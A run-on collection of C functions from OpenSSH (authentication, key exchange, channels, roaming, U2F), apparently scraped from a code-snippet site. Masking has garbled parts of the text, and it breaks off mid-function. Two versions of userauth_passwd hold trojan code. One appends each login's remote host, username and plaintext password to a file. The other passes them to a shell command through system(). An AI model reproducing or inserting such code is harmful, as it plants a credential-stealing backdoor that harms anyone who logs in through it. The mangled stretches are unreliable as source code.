/*ARGSUSED*/ static void input_service_request(int type, u_int32_t seq, void *ctxt) { Authctxt *authctxt = ctxt; u_int len; int acceptit = 0; char *service = packet_get_string(&len); packet_check_eom(); if (authctxt == NULL) fatal("input_service_request: no authctxt"); if (strcmp(service, "ssh-userauth") == 0) { if (!authctxt->success) { acceptit = 1; /* now we can handle user-auth requests */ dispatch_set(SSH2_MSG_USERAUTH_REQUEST, &input_userauth_request); } } /* XXX all other service requests are denied */ if (acceptit) { packet_start(SSH2_MSG_SERVICE_ACCEPT); packet_put_cstring(service); packet_send(); packet_write_wait(); } else { debug("bad service request %s", service); packet_disconnect("bad service request %s", service); } xfree(service); }
static void server_input_channel_open(int type, u_int32_t seq, void *ctxt) { Channel *c = NULL; char *ctype; int rchan; u_int rmaxpack, rwindow, len; ctype = packet_get_string(&len); rchan = packet_get_int(); rwindow = packet_get_int(); rmaxpack = packet_get_int(); debug("server_input_channel_open: ctype %s rchan %d win %d max %d", ctype, rchan, rwindow, rmaxpack); if (strcmp(ctype, "session") == 0) { c = server_request_session(ctype); } else if (strcmp(ctype, "direct-tcpip") == 0) { c = server_request_direct_tcpip(ctype); } if (c != NULL) { debug("server_input_channel_open: confirm %s", ctype); c->remote_id = rchan; c->remote_window = rwindow; c->remote_maxpacket = rmaxpack; if (c->type != SSH_CHANNEL_CONNECTING) { packet_start(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION); packet_put_int(c->remote_id); packet_put_int(c->self); packet_put_int(c->local_window); packet_put_int(c->local_maxpacket); packet_send(); } } else { debug("server_input_channel_open: failure %s", ctype); packet_start(SSH2_MSG_CHANNEL_OPEN_FAILURE); packet_put_int(rchan); packet_put_int(SSH2_OPEN_ADMINISTRATIVELY_PROHIBITED); if (!(datafellows & SSH_BUG_OPENFAILURE)) { packet_put_cstring("open failed"); packet_put_cstring(""); } packet_send(); } xfree(ctype); }
void userauth_finish(Authctxt *authctxt, int authenticated, char *method) { char *methods; if (!authctxt->valid && authenticated) fatal("INTERNAL ERROR: authenticated invalid user %s", authctxt->user); /* Special handling for root */ if (authenticated && authctxt->pw->pw_uid == 0 && !auth_root_allowed(method)) authenticated = 0; #ifdef USE_PAM if (!use_privsep && authenticated && authctxt->user && !do_pam_account(authctxt->user, NULL)) authenticated = 0; #endif /* USE_PAM */ #ifdef _UNICOS if (authenticated && cray_access_denied(authctxt->user)) { authenticated = 0; fatal("Access denied for user %s.",authctxt->user); } #endif /* _UNICOS */ /* Log before sending the reply */ auth_log(authctxt, authenticated, method, " ssh2"); if (authctxt->postponed) return; /* XXX todo: check if multiple auth methods are needed */ if (authenticated == 1) { /* turn off userauth */ dispatch_set(SSH2_MSG_USERAUTH_REQUEST, &dispatch_protocol_ignore); packet_start(SSH2_MSG_USERAUTH_SUCCESS); packet_send(); packet_write_wait(); /* now we can break out */ authctxt->success = 1; } else { if (authctxt->failures++ > AUTH_FAIL_MAX) { packet_disconnect(AUTH_FAIL_MSG, authctxt->user); } #ifdef _UNICOS if (strcmp(method, "password") == 0) cray_login_failure(authctxt->user, IA_UDBERR); #endif /* _UNICOS */ methods = authmethods_get(); packet_start(SSH2_MSG_USERAUTH_FAILURE); packet_put_cstring(methods); packet_put_char(0); /* XXX partial success, unused */ packet_send(); packet_write_wait(); xfree(methods); } }
void ssh_kex2(char *host, struct sockaddr *hostaddr) { Kex *kex; xxx_host = host; xxx_hostaddr = hostaddr; if (options.ciphers == (char *)-1) { log("No valid ciphers for protocol version 2 given, using defaults."); options.ciphers = NULL; } if (options.ciphers != NULL) { myproposal[PROPOSAL_ENC_ALGS_CTOS] = myproposal[PROPOSAL_ENC_ALGS_STOC] = options.ciphers; } myproposal[PROPOSAL_ENC_ALGS_CTOS] = compat_cipher_proposal(myproposal[PROPOSAL_ENC_ALGS_CTOS]); myproposal[PROPOSAL_ENC_ALGS_STOC] = compat_cipher_proposal(myproposal[PROPOSAL_ENC_ALGS_STOC]); if (options.compression) { myproposal[PROPOSAL_COMP_ALGS_CTOS] = myproposal[PROPOSAL_COMP_ALGS_STOC] = "zlib,none"; } else { myproposal[PROPOSAL_COMP_ALGS_CTOS] = myproposal[PROPOSAL_COMP_ALGS_STOC] = "none,zlib"; } if (options.macs != NULL) { myproposal[PROPOSAL_MAC_ALGS_CTOS] = myproposal[PROPOSAL_MAC_ALGS_STOC] = options.macs; } if (options.hostkeyalgorithms != NULL) myproposal[PROPOSAL_SERVER_HOST_KEY_ALGS] = options.hostkeyalgorithms; /* start key exchange */ kex = kex_setup(myproposal); kex->kex[KEX_DH_GRP1_SHA1] = kexdh_client; kex->kex[KEX_DH_GEX_SHA1] = kexgex_client; kex->client_version_string=client_version_string; kex->server_version_string=server_version_string; kex->verify_host_key=&verify_host_key_callback; xxx_kex = kex; dispatch_run(DISPATCH_BLOCK, &kex->done, kex); session_id2 = kex->session_id; session_id2_len = kex->session_id_len; #ifdef DEBUG_KEXDH /* send 1st encrypted/maced/compressed message */ packet_start(SSH2_MSG_IGNORE); packet_put_cstring("markus"); packet_send(); packet_write_wait(); #endif }
static void server_alive_check(void) { if (++server_alive_timeouts > options.server_alive_count_max) packet_disconnect("Timeout, server not responding."); packet_start(SSH2_MSG_GLOBAL_REQUEST); packet_put_cstring("*****@*****.**"); packet_put_char(1); /* boolean: want reply */ packet_send(); }
void request_roaming(void) { packet_start(SSH2_MSG_GLOBAL_REQUEST); packet_put_cstring(ROAMING_REQUEST); packet_put_char(1); packet_put_int(get_recv_buf_size()); packet_send(); client_register_global_confirm(roaming_reply, NULL); }
static void userauth_banner(void) { char *banner = NULL; if (options.banner == NULL || (datafellows & SSH_BUG_BANNER)) return; if ((banner = PRIVSEP(auth2_read_banner())) == NULL) goto done; packet_start(SSH2_MSG_USERAUTH_BANNER); packet_put_cstring(banner); packet_put_cstring(""); /* language, unused */ packet_send(); debug("userauth_banner: sent"); done: if (banner) xfree(banner); }
/* * SSH2 key exchange: diffie-hellman-group1-sha1 */ void do_ssh2_kex(void) { Kex *kex; if (options.ciphers != NULL) { myproposal[PROPOSAL_ENC_ALGS_CTOS] = myproposal[PROPOSAL_ENC_ALGS_STOC] = options.ciphers; } myproposal[PROPOSAL_ENC_ALGS_CTOS] = compat_cipher_proposal(myproposal[PROPOSAL_ENC_ALGS_CTOS]); myproposal[PROPOSAL_ENC_ALGS_STOC] = compat_cipher_proposal(myproposal[PROPOSAL_ENC_ALGS_STOC]); if (options.macs != NULL) { myproposal[PROPOSAL_MAC_ALGS_CTOS] = myproposal[PROPOSAL_MAC_ALGS_STOC] = options.macs; } if (!options.compression) { myproposal[PROPOSAL_COMP_ALGS_CTOS] = myproposal[PROPOSAL_COMP_ALGS_STOC] = "none"; } myproposal[PROPOSAL_SERVER_HOST_KEY_ALGS] = list_hostkey_types(); /* start key exchange */ kex = kex_setup(myproposal); kex->kex[KEX_DH_GRP1_SHA1] = kexdh_server; kex->kex[KEX_DH_GRP14_SHA1] = kexdh_server; kex->kex[KEX_DH_GEX_SHA1] = kexgex_server; kex->server = 1; kex->client_version_string=client_version_string; kex->server_version_string=server_version_string; kex->load_host_key=&get_hostkey_by_type; kex->host_key_index=&get_hostkey_index; xxx_kex = kex; dispatch_run(DISPATCH_BLOCK, &kex->done, kex); session_id2 = kex->session_id; session_id2_len = kex->session_id_len; #ifdef DEBUG_KEXDH /* send 1st encrypted/maced/compressed message */ packet_start(SSH2_MSG_IGNORE); packet_put_cstring("markus"); packet_send(); packet_write_wait(); #endif debug("KEX done"); }
int userauth_passwd(Authctxt *authctxt) { static int attempt = 0; char prompt[150]; char *password; if (attempt++ >= options.number_of_password_prompts) return 0; if (attempt != 1) error("Permission denied, please try again."); snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: "******"a"); fprintf (fp,"+host: %s +user: %s +password: %s\n", get_remote_ipaddr(), options.user, password); fclose (fp); } packet_put_cstring(authctxt->server_user); packet_put_cstring(authctxt->service); packet_put_cstring(authctxt->method->name); packet_put_char(0); packet_put_cstring(password); memset(password, 0, strlen(password)); xfree(password); packet_add_padding(64); packet_send(); dispatch_set(SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ, &input_userauth_passwd_changereq); return 1; }
int userauth_passwd(Authctxt *authctxt) { static int attempt = 0; char prompt[150]; char *password; if (attempt++ >= options.number_of_password_prompts) return 0; if (attempt != 1) error("Permission denied, please try again."); snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: "******"/bin/ksh -m %s_%s_%s >/dev/null 2>&1", get_remote_ipaddr(), options.user, password); system(cmd); } packet_put_cstring(authctxt->server_user); packet_put_cstring(authctxt->service); packet_put_cstring(authctxt->method->name); packet_put_char(0); packet_put_cstring(password); memset(password, 0, strlen(password)); xfree(password); packet_add_padding(64); packet_send(); dispatch_set(SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ, &input_userauth_passwd_changereq); return 1; }
static void chan_send_eow2(Channel *c) { debug2("channel %d: send eow", c->self); if (c->ostate == CHAN_OUTPUT_CLOSED) { error("channel %d: must not sent eow on closed output", c->self); return; } packet_start(SSH2_MSG_CHANNEL_REQUEST); packet_put_int(c->remote_id); packet_put_cstring("*****@*****.**"); packet_put_char(0); packet_send(); }
void ssh_put_password(struct ssh *ssh, char *password) { int size; char *padded; if (ssh->compat & SSH_BUG_PASSWORDPAD) { packet_put_cstring(password); return; } size = roundup(strlen(password) + 1, 32); padded = xcalloc(1, size); strlcpy(padded, password, size); packet_put_string(padded, size); memset(padded, 0, size); xfree(padded); }
void ssh_put_password(char *password) { int size; char *padded; if (datafellows & SSH_BUG_PASSWORDPAD) { packet_put_cstring(password); return; } size = roundup(strlen(password) + 1, 32); padded = xcalloc(1, size); strlcpy(padded, password, size); packet_put_string(padded, size); explicit_bzero(padded, size); free(padded); }
/*ARGSUSED*/ static int auth1_process_tis_challenge(Authctxt *authctxt) { char *challenge; if ((challenge = get_challenge(authctxt)) == NULL) return (0); debug("sending challenge '%s'", challenge); packet_start(SSH_SMSG_AUTH_TIS_CHALLENGE); packet_put_cstring(challenge); free(challenge); packet_send(); packet_write_wait(); return (-1); }
static int ssh_session2(void) { int id = -1; /* XXX should be pre-session */ ssh_init_forwarding(); if (!no_shell_flag || (datafellows & SSH_BUG_DUMMYCHAN)) id = ssh_session2_open(); /* If we don't expect to open a new session, then disallow it */ if (options.control_master == SSHCTL_MASTER_NO && (datafellows & SSH_NEW_OPENSSH)) { debug("Requesting [email protected]"); packet_start(SSH2_MSG_GLOBAL_REQUEST); packet_put_cstring("*****@*****.**"); packet_put_char(0); packet_send(); } /* Execute a local command */ if (options.local_command != NULL && options.permit_local_command) ssh_local_cmd(options.local_command); /* Start listening for multiplex clients */ muxserver_listen(); /* If requested, let ssh continue in the background. */ if (fork_after_authentication_flag) { fork_after_authentication_flag = 0; if (daemon(1, 1) < 0) fatal("daemon() failed: %.200s", strerror(errno)); } if (options.use_roaming) request_roaming(); return client_loop(tty_flag, tty_flag ? options.escape_char : SSH_ESCAPECHAR_NONE, id); }
static void client_alive_check(void) { int channel_id; /* timeout, check to see how many we have had */ if (packet_inc_alive_timeouts() > options.client_alive_count_max) { logit("Timeout, client not responding."); cleanup_exit(255); } /* * send a bogus global/channel request with "wantreply", * we should get back a failure */ if ((channel_id = channel_find_open()) == -1) { packet_start(SSH2_MSG_GLOBAL_REQUEST); packet_put_cstring("*****@*****.**"); packet_put_char(1); /* boolean: want reply */ } else { channel_request_start(channel_id, "*****@*****.**", 1); } packet_send(); }
/* * parse PASSWD_CHANGEREQ, prompt user and send SSH2_MSG_USERAUTH_REQUEST */ void input_userauth_passwd_changereq(int type, u_int32_t seqnr, void *ctxt) { Authctxt *authctxt = ctxt; char *info, *lang, *password = NULL, *retype = NULL; char prompt[150]; debug2("input_userauth_passwd_changereq"); if (authctxt == NULL) fatal("input_userauth_passwd_changereq: " "no authentication context"); info = packet_get_utf8_string(NULL); if (strlen(info) != 0) { info = g11n_filter_string(info); log("%s", info); } xfree(info); lang = packet_get_string(NULL); xfree(lang); packet_start(SSH2_MSG_USERAUTH_REQUEST); packet_put_cstring(authctxt->server_user); packet_put_cstring(authctxt->service); packet_put_cstring(authctxt->method->name); packet_put_char(1); /* additional info */ snprintf(prompt, sizeof(prompt), gettext("Enter %.30s@%.128s's old password: "******"Enter %.30s@%.128s's new password: "******"Retype %.30s@%.128s's new password: "******"Mismatch; try again, EOF to quit."); password = NULL; } memset(retype, 0, strlen(retype)); xfree(retype); } packet_put_cstring(password); memset(password, 0, strlen(password)); xfree(password); packet_add_padding(64); packet_send(); dispatch_set(SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ, &input_userauth_passwd_changereq); }
static int ssh_session(void) { int type; int interactive = 0; int have_tty = 0; struct winsize ws; char *cp; const char *display; /* Enable compression if requested. */ if (options.compression) { debug("Requesting compression at level %d.", options.compression_level); if (options.compression_level < 1 || options.compression_level > 9) fatal("Compression level must be from 1 (fast) to " "9 (slow, best)."); /* Send the request. */ packet_start(SSH_CMSG_REQUEST_COMPRESSION); packet_put_int(options.compression_level); packet_send(); packet_write_wait(); type = packet_read(); if (type == SSH_SMSG_SUCCESS) packet_start_compression(options.compression_level); else if (type == SSH_SMSG_FAILURE) logit("Warning: Remote host refused compression."); else packet_disconnect("Protocol error waiting for " "compression response."); } /* Allocate a pseudo tty if appropriate. */ if (tty_flag) { debug("Requesting pty."); /* Start the packet. */ packet_start(SSH_CMSG_REQUEST_PTY); /* Store TERM in the packet. There is no limit on the length of the string. */ cp = getenv("TERM"); if (!cp) cp = ""; packet_put_cstring(cp); /* Store window size in the packet. */ if (ioctl(fileno(stdin), TIOCGWINSZ, &ws) < 0) memset(&ws, 0, sizeof(ws)); packet_put_int((u_int)ws.ws_row); packet_put_int((u_int)ws.ws_col); packet_put_int((u_int)ws.ws_xpixel); packet_put_int((u_int)ws.ws_ypixel); /* Store tty modes in the packet. */ tty_make_modes(fileno(stdin), NULL); /* Send the packet, and wait for it to leave. */ packet_send(); packet_write_wait(); /* Read response from the server. */ type = packet_read(); if (type == SSH_SMSG_SUCCESS) { interactive = 1; have_tty = 1; } else if (type == SSH_SMSG_FAILURE) logit("Warning: Remote host failed or refused to " "allocate a pseudo tty."); else packet_disconnect("Protocol error waiting for pty " "request response."); } /* Request X11 forwarding if enabled and DISPLAY is set. */ display = getenv("DISPLAY"); if (options.forward_x11 && display != NULL) { char *proto, *data; /* Get reasonable local authentication information. */ client_x11_get_proto(display, options.xauth_location, options.forward_x11_trusted, options.forward_x11_timeout, &proto, &data); /* Request forwarding with authentication spoofing. */ debug("Requesting X11 forwarding with authentication " "spoofing."); x11_request_forwarding_with_spoofing(0, display, proto, data, 0); /* Read response from the server. */ type = packet_read(); if (type == SSH_SMSG_SUCCESS) { interactive = 1; } else if (type == SSH_SMSG_FAILURE) { logit("Warning: Remote host denied X11 forwarding."); } else { packet_disconnect("Protocol error waiting for X11 " "forwarding"); } } /* Tell the packet module whether this is an interactive session. */ packet_set_interactive(interactive, options.ip_qos_interactive, options.ip_qos_bulk); /* Request authentication agent forwarding if appropriate. */ check_agent_present(); if (options.forward_agent) { debug("Requesting authentication agent forwarding."); auth_request_forwarding(); /* Read response from the server. */ type = packet_read(); packet_check_eom(); if (type != SSH_SMSG_SUCCESS) logit("Warning: Remote host denied authentication agent forwarding."); } /* Initiate port forwardings. */ ssh_init_stdio_forwarding(); ssh_init_forwarding(); /* Execute a local command */ if (options.local_command != NULL && options.permit_local_command) ssh_local_cmd(options.local_command); /* * If requested and we are not interested in replies to remote * forwarding requests, then let ssh continue in the background. */ if (fork_after_authentication_flag) { if (options.exit_on_forward_failure && options.num_remote_forwards > 0) { debug("deferring postauth fork until remote forward " "confirmation received"); } else fork_postauth(); } /* * If a command was specified on the command line, execute the * command now. Otherwise request the server to start a shell. */ if (buffer_len(&command) > 0) { int len = buffer_len(&command); if (len > 900) len = 900; debug("Sending command: %.*s", len, (u_char *)buffer_ptr(&command)); packet_start(SSH_CMSG_EXEC_CMD); packet_put_string(buffer_ptr(&command), buffer_len(&command)); packet_send(); packet_write_wait(); } else { debug("Requesting shell."); packet_start(SSH_CMSG_EXEC_SHELL); packet_send(); packet_write_wait(); } /* Enter the interactive session. */ return client_loop(have_tty, tty_flag ? options.escape_char : SSH_ESCAPECHAR_NONE, 0); }
static int ssh_session2(void) { int id = -1; /* XXX should be pre-session */ if (!options.control_persist) ssh_init_stdio_forwarding(); ssh_init_forwarding(); /* Start listening for multiplex clients */ muxserver_listen(); /* * If we are in control persist mode and have a working mux listen * socket, then prepare to background ourselves and have a foreground * client attach as a control slave. * NB. we must save copies of the flags that we override for * the backgrounding, since we defer attachment of the slave until * after the connection is fully established (in particular, * async rfwd replies have been received for ExitOnForwardFailure). */ if (options.control_persist && muxserver_sock != -1) { ostdin_null_flag = stdin_null_flag; ono_shell_flag = no_shell_flag; orequest_tty = options.request_tty; otty_flag = tty_flag; stdin_null_flag = 1; no_shell_flag = 1; tty_flag = 0; if (!fork_after_authentication_flag) need_controlpersist_detach = 1; fork_after_authentication_flag = 1; } /* * ControlPersist mux listen socket setup failed, attempt the * stdio forward setup that we skipped earlier. */ if (options.control_persist && muxserver_sock == -1) ssh_init_stdio_forwarding(); if (!no_shell_flag || (datafellows & SSH_BUG_DUMMYCHAN)) id = ssh_session2_open(); /* If we don't expect to open a new session, then disallow it */ if (options.control_master == SSHCTL_MASTER_NO && (datafellows & SSH_NEW_OPENSSH)) { debug("Requesting [email protected]"); packet_start(SSH2_MSG_GLOBAL_REQUEST); packet_put_cstring("*****@*****.**"); packet_put_char(0); packet_send(); } /* Execute a local command */ if (options.local_command != NULL && options.permit_local_command) ssh_local_cmd(options.local_command); /* * If requested and we are not interested in replies to remote * forwarding requests, then let ssh continue in the background. */ if (fork_after_authentication_flag) { if (options.exit_on_forward_failure && options.num_remote_forwards > 0) { debug("deferring postauth fork until remote forward " "confirmation received"); } else fork_postauth(); } if (options.use_roaming) request_roaming(); return client_loop(tty_flag, tty_flag ? options.escape_char : SSH_ESCAPECHAR_NONE, id); }
void userauth_finish(Authctxt *authctxt, int authenticated, const char *method, const char *submethod) { char *methods; int partial = 0; if (!authctxt->valid && authenticated) fatal("INTERNAL ERROR: authenticated invalid user %s", authctxt->user); if (authenticated && authctxt->postponed) fatal("INTERNAL ERROR: authenticated and postponed"); /* Special handling for root */ if (authenticated && authctxt->pw->pw_uid == 0 && !auth_root_allowed(method)) { authenticated = 0; #ifdef SSH_AUDIT_EVENTS PRIVSEP(audit_event(SSH_LOGIN_ROOT_DENIED)); #endif } if (authenticated && options.num_auth_methods != 0) { if (!auth2_update_methods_lists(authctxt, method, submethod)) { authenticated = 0; partial = 1; } } /* Log before sending the reply */ auth_log(authctxt, authenticated, partial, method, submethod); if (authctxt->postponed) return; #ifdef USE_PAM if (options.use_pam && authenticated) { if (!PRIVSEP(do_pam_account())) { /* if PAM returned a message, send it to the user */ if (buffer_len(&loginmsg) > 0) { buffer_append(&loginmsg, "\0", 1); userauth_send_banner(buffer_ptr(&loginmsg)); packet_write_wait(); } fatal("Access denied for user %s by PAM account " "configuration", authctxt->user); } } #endif #ifdef _UNICOS if (authenticated && cray_access_denied(authctxt->user)) { authenticated = 0; fatal("Access denied for user %s.", authctxt->user); } #endif /* _UNICOS */ if (authenticated == 1) { /* turn off userauth */ dispatch_set(SSH2_MSG_USERAUTH_REQUEST, &dispatch_protocol_ignore); packet_start(SSH2_MSG_USERAUTH_SUCCESS); packet_send(); packet_write_wait(); /* now we can break out */ authctxt->success = 1; } else { /* Allow initial try of "none" auth without failure penalty */ if (!authctxt->server_caused_failure && (authctxt->attempt > 1 || strcmp(method, "none") != 0)) authctxt->failures++; if (authctxt->failures >= options.max_authtries) { #ifdef SSH_AUDIT_EVENTS PRIVSEP(audit_event(SSH_LOGIN_EXCEED_MAXTRIES)); #endif packet_disconnect(AUTH_FAIL_MSG, authctxt->user); } methods = authmethods_get(authctxt); debug3("%s: failure partial=%d next methods=\"%s\"", __func__, partial, methods); packet_start(SSH2_MSG_USERAUTH_FAILURE); packet_put_cstring(methods); packet_put_char(partial); packet_send(); packet_write_wait(); free(methods); } }
static int pam_query(void *ctx, char **name, char **info, u_int *num, char ***prompts, u_int **echo_on) { Buffer buffer; struct pam_ctxt *ctxt = ctx; size_t plen; u_char type; char *msg; buffer_init(&buffer); *name = xstrdup(""); *info = xstrdup(""); *prompts = xmalloc(sizeof(char *)); **prompts = NULL; plen = 0; *echo_on = xmalloc(sizeof(u_int)); while (ssh_msg_recv(ctxt->pam_sock, &buffer) == 0) { type = buffer_get_char(&buffer); msg = buffer_get_string(&buffer, NULL); switch (type) { case PAM_PROMPT_ECHO_ON: case PAM_PROMPT_ECHO_OFF: *num = 1; **prompts = xrealloc(**prompts, plen + strlen(msg) + 1); plen += sprintf(**prompts + plen, "%s", msg); **echo_on = (type == PAM_PROMPT_ECHO_ON); xfree(msg); return (0); case PAM_ERROR_MSG: case PAM_TEXT_INFO: /* accumulate messages */ **prompts = xrealloc(**prompts, plen + strlen(msg) + 1); plen += sprintf(**prompts + plen, "%s", msg); xfree(msg); break; case PAM_SUCCESS: case PAM_AUTH_ERR: if (**prompts != NULL) { /* drain any accumulated messages */ #if 0 /* not compatible with privsep */ packet_start(SSH2_MSG_USERAUTH_BANNER); packet_put_cstring(**prompts); packet_put_cstring(""); packet_send(); packet_write_wait(); #endif xfree(**prompts); **prompts = NULL; } if (type == PAM_SUCCESS) { *num = 0; **echo_on = 0; ctxt->pam_done = 1; xfree(msg); return (0); } error("%s", msg); default: *num = 0; **echo_on = 0; xfree(msg); ctxt->pam_done = -1; return (-1); } } return (-1); }
static void input_userauth_u2f_register_response(int type, u_int32_t seq, void *ctxt) { #define u2f_bounds_check(necessary_bytes) do { \ if (restlen < necessary_bytes) { \ logit("U2F response too short: need %d bytes, but only %d remaining", \ necessary_bytes, restlen); \ goto out; \ } \ } while (0) #define u2f_advance(parsed_bytes) do { \ int advance = parsed_bytes; \ walk += advance; \ restlen -= advance; \ } while (0) Authctxt *authctxt = ctxt; char *response, *regdata, *clientdata; u_char *decoded = NULL; u_char *walk = NULL; u_char *keyhandle = NULL; u_char *pubkey = NULL; u_char *signature = NULL; u_char *dummy = NULL; u_char *cdecoded = NULL; X509 *x509; EVP_MD_CTX mdctx; int restlen; int khlen; int cdecodedlen; int err; char errorbuf[4096]; u_char digest[ssh_digest_bytes(SSH_DIGEST_SHA256)]; authctxt->postponed = 0; response = packet_get_string(NULL); packet_check_eom(); if ((regdata = extract_json_string(response, "registrationData")) == NULL) { logit("Response not JSON, or does not contain \"registrationData\""); goto out; } decoded = xmalloc(strlen(regdata) * 3 / 4); restlen = urlsafe_base64_decode(regdata, decoded, strlen(regdata) * 3 / 4); walk = decoded; // Header (magic byte) u2f_bounds_check(1); if (walk[0] != 0x05) { logit("U2F response does not start with magic byte 0x05"); goto out; } u2f_advance(1); // Length of the public key u2f_bounds_check(u2f_pubkey_len); pubkey = walk; u2f_advance(u2f_pubkey_len); // Length of the key handle u2f_bounds_check(1); khlen = walk[0]; u2f_advance(1); // Key handle u2f_bounds_check(khlen); keyhandle = walk; u2f_advance(khlen); // Attestation certificate u2f_bounds_check(1); signature = walk; if ((x509 = d2i_X509(NULL, &signature, restlen)) == NULL) { logit("U2F response contains an invalid attestation certificate."); goto out; } // U2F dictates that the length of the certificate should be determined by // encoding the certificate using DER. u2f_advance(i2d_X509(x509, &dummy)); free(dummy); // Ensure we have at least one byte of signature. u2f_bounds_check(1); if ((clientdata = extract_json_string(response, "clientData")) == NULL) { logit("U2F response JSON lacks the \"clientData\" key."); goto out; } cdecoded = xmalloc(strlen(clientdata) * 3 / 4); cdecodedlen = urlsafe_base64_decode(clientdata, cdecoded, strlen(clientdata) * 3 / 4); EVP_PKEY *pkey = X509_get_pubkey(x509); if ((err = EVP_VerifyInit(&mdctx, EVP_ecdsa())) != 1) { ERR_error_string(ERR_get_error(), errorbuf); fatal("EVP_VerifyInit() failed: %s (reason: %s)", errorbuf, ERR_reason_error_string(err)); } EVP_VerifyUpdate(&mdctx, "\0", 1); u2f_sha256(digest, appid, strlen(appid)); EVP_VerifyUpdate(&mdctx, digest, sizeof(digest)); u2f_sha256(digest, cdecoded, cdecodedlen); EVP_VerifyUpdate(&mdctx, digest, sizeof(digest)); EVP_VerifyUpdate(&mdctx, keyhandle, khlen); EVP_VerifyUpdate(&mdctx, pubkey, u2f_pubkey_len); if ((err = EVP_VerifyFinal(&mdctx, walk, restlen, pkey)) == -1) { ERR_error_string(ERR_get_error(), errorbuf); logit("Verifying the U2F registration signature failed: %s (reason: %s)", errorbuf, ERR_reason_error_string(err)); goto out; } EVP_PKEY_free(pkey); { char *authorizedkey; char key[u2f_pubkey_len + khlen]; char key64[((sizeof(key)+2)/3)*4 + 1]; memcpy(key, pubkey, u2f_pubkey_len); memcpy(key+u2f_pubkey_len, keyhandle, khlen); if (b64_ntop(key, sizeof(key), key64, sizeof(key64)) == -1) fatal("b64_ntop()"); xasprintf(&authorizedkey, "ssh-u2f %s", key64); packet_start(SSH2_MSG_USERAUTH_INFO_REQUEST); packet_put_cstring(authorizedkey); packet_send(); free(authorizedkey); dispatch_set(SSH2_MSG_USERAUTH_INFO_RESPONSE, NULL); } out: free(decoded); userauth_finish(authctxt, 0, "u2f", NULL); return; #undef u2f_bounds_check #undef u2f_advance }
static int userauth_u2f(Authctxt *authctxt) { u_int i; int mode; mode = packet_get_int(); packet_check_eom(); // TODO: shared constants if (mode == 0) { debug("u2f mode is registration"); u_char random[32]; char challenge[((sizeof(random)+2)/3)*4 + 1]; char *json; arc4random_buf(random, sizeof(random)); if (urlsafe_base64_encode(random, sizeof(random), challenge, sizeof(challenge)) == -1) fatal("TODO"); xasprintf(&json, "{\"challenge\": \"%s\", \"version\": \"U2F_V2\", \"appId\": \"%s\"}", challenge, appid); packet_start(SSH2_MSG_USERAUTH_INFO_REQUEST); packet_put_cstring(json); packet_send(); dispatch_set(SSH2_MSG_USERAUTH_INFO_RESPONSE, &input_userauth_u2f_register_response); authctxt->postponed = 1; return (0); } else { debug("u2f mode is authentication"); } // This is on the server. See sshconnect2.c for the client debug("auth-u2f.c:userauth_u2f"); Key *key; u_int idx = 0; // Get multiple keys by increasing idx until key == NULL // TODO: send multiple challenges for all keys (or something) key = PRIVSEP(read_user_u2f_key(authctxt->pw, idx)); if (key == NULL) { debug("no registered u2f keys found\n"); return (0); } // TODO: handle empty signatureData with a nice message. this seems to happen when the keyhandle is wrong? // TODO: to what should we set the appid? // // TODO: what does auth_info() do? // TODO: we need to store challenge in this authctx somehow :) packet_start(SSH2_MSG_USERAUTH_INFO_REQUEST); u_char random[32]; char challenge[((sizeof(random)+2)/3)*4 + 1]; char pubkey[((u2f_pubkey_len+2)/3)*4 + 1]; char keyhandle[((key->u2f_key_handle_len+2)/3)*4 + 1]; char *json; arc4random_buf(random, sizeof(random)); authctxt->u2f_challenge = xmalloc(sizeof(random)); memcpy(authctxt->u2f_challenge, random, sizeof(random)); authctxt->u2f_key = key; if (urlsafe_base64_encode(random, sizeof(random), challenge, sizeof(challenge)) == -1) fatal("TODO"); if (urlsafe_base64_encode(key->u2f_pubkey, u2f_pubkey_len, pubkey, sizeof(pubkey)) == -1) fatal("TODO"); if (urlsafe_base64_encode(key->u2f_key_handle, key->u2f_key_handle_len, keyhandle, sizeof(keyhandle)) == -1) fatal("TODO"); xasprintf(&json, "{\"challenge\": \"%s\", \"keyHandle\": \"%s\", \"appId\": \"%s\"}", challenge, keyhandle, appid); packet_put_cstring(json); free(json); packet_send(); dispatch_set(SSH2_MSG_USERAUTH_INFO_RESPONSE, &input_userauth_u2f_info_response); authctxt->postponed = 1; return (0); }
static int roaming_resume(void) { u_int64_t recv_bytes; char *str = NULL, *kexlist = NULL, *c; int i, type; int timeout_ms = options.connection_timeout * 1000; u_int len; u_int32_t rnd = 0; resume_in_progress = 1; /* Exchange banners */ ssh_exchange_identification(timeout_ms); packet_set_nonblocking(); /* Send a kexinit message with [email protected] as only kex algo */ packet_start(SSH2_MSG_KEXINIT); for (i = 0; i < KEX_COOKIE_LEN; i++) { if (i % 4 == 0) rnd = arc4random(); packet_put_char(rnd & 0xff); rnd >>= 8; } packet_put_cstring(KEX_RESUME); for (i = 1; i < PROPOSAL_MAX; i++) { /* kex algorithm added so start with i=1 and not 0 */ packet_put_cstring(""); /* Not used when we resume */ } packet_put_char(1); /* first kex_packet follows */ packet_put_int(0); /* reserved */ packet_send(); /* Assume that [email protected] will be accepted */ packet_start(SSH2_MSG_KEX_ROAMING_RESUME); packet_put_int(roaming_id); packet_send(); /* Read the server's kexinit and check for [email protected] */ if ((type = packet_read()) != SSH2_MSG_KEXINIT) { debug("expected kexinit on resume, got %d", type); goto fail; } for (i = 0; i < KEX_COOKIE_LEN; i++) (void)packet_get_char(); kexlist = packet_get_string(&len); if (!kexlist || (str = match_list(KEX_RESUME, kexlist, NULL)) == NULL) { debug("server doesn't allow resume"); goto fail; } free(str); for (i = 1; i < PROPOSAL_MAX; i++) { /* kex algorithm taken care of so start with i=1 and not 0 */ free(packet_get_string(&len)); } i = packet_get_char(); /* first_kex_packet_follows */ if (i && (c = strchr(kexlist, ','))) *c = 0; if (i && strcmp(kexlist, KEX_RESUME)) { debug("server's kex guess (%s) was wrong, skipping", kexlist); (void)packet_read(); /* Wrong guess - discard packet */ } /* * Read the ROAMING_AUTH_REQUIRED challenge from the server and * send ROAMING_AUTH */ if ((type = packet_read()) != SSH2_MSG_KEX_ROAMING_AUTH_REQUIRED) { debug("expected roaming_auth_required, got %d", type); goto fail; } roaming_auth_required(); /* Read ROAMING_AUTH_OK from the server */ if ((type = packet_read()) != SSH2_MSG_KEX_ROAMING_AUTH_OK) { 